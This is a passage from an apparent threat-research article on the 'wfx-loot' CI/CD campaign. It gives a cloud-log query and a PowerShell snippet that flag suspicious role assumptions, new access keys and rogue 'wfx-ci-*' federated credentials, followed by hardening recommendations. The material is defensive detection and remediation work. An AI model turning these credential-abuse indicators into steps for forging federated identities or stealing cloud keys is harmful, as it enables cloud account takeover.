AND (

(eventName = 'AssumeRoleWithWebIdentity' AND requestParameters LIKE '%wfx%')

OR (eventName = 'UpdateAssumeRolePolicy' AND requestParameters LIKE '%""%')

OR (eventName = 'CreateAccessKey')

);

#### Azure Entra ID PowerShell Detection
powershell

Identify rogue wfx federated credentials across all Entra Applications

Get-MgApplication | ForEach-Object {

$app = $_

Get-MgApplicationFederatedIdentityCredential -ApplicationId $app.Id | Where-Object {

$_.Name -like "wfx-ci-*"

} | Select-Object @{Name="AppDisplayName";Expression={$app.DisplayName}}, Name, Subject, Issuer

}

If any indicators match, teams must assume that all secrets, keys, and environment variables accessible to workflows in that repository have been extracted. Rotating static secrets alone is insufficient; teams must remove wildcard IAM trust policies and eliminate rogue federated identity registrations inside cloud tenants.


The Broader Impact: Securing the Machine Identity Perimeter

The wfx-loot campaign reveals an architectural imbalance in modern software supply chain security. Over the past five years, industry defense initiatives have invested heavily in securing public package registries through multi-factor authentication, provenance attestations, and software bills of materials (SBOMs).

Yet continuous integration pipelines remain vulnerable because they sit at the crossroad of developer identity, repository access, and cloud infrastructure. When an organization grants a developer write access to a repository, it inherently grants that developer's credentials the authority to provision compute environments, execute arbitrary shell code, and read enterprise secrets.

Preventing attacks of this scale requires moving away from the assumption that a developer's write access confers blanket operational trust. The incident demonstrates the urgency of implementing four foundational CI/CD architectural changes:

  1. Hardware-Bound CLI Authentication: Personal access tokens and long-lived command-line OAuth tokens stored in plaintext files must be deprecated. Organizations must mandate cryptographic authentication keys anchored in physical hardware (such as FIDO2/WebAuthn hardware tokens) for all command-line and API interactions, preventing stolen tokens from functioning off-host.
  2. Restrictive OIDC Subject Binding: Cloud federated identities should never trust an entire repository or broad branch patterns. IAM trust policies must bind authentication strictly to specific cryptographic environments and pull-request verification conditions (e.g., repo:org/repo:environment:production), ensuring that an unexpected branch or unauthorized workflow cannot assume production roles.
  3. Hardened Network Egress Filtering: Continuous integration build runners must not have unrestricted outbound internet access by default. Restricting egress traffic to approved package registries and endpoints neutralizes unauthorized exfiltration attempts, preventing malware from using external HTTP servers or Telegram bots.
  4. Independent Workflow Mutation Review: Direct pushes to workflow configuration directories (.github/workflows/) should be prohibited, even for repository administrators. Workflows should require multi-party consensus reviews through branch protection rules that enforce signed commits, cryptographic identity verification, and mandatory approvals before CI configuration changes can merge.

The wfx-loot campaign proves that modern threat actors no longer need to discover software vulnerabilities to compromise development infrastructure. By automating GitHub account hijacking across thousands of developers, attackers can turn routine build automation into an effective tool for lateral cloud theft. Organizations that treat their CI/CD pipelines as trusted internal tools, rather than critical production environments, risk finding that their continuous delivery infrastructure has become an adversary's primary delivery vector.

Reference:

Share this article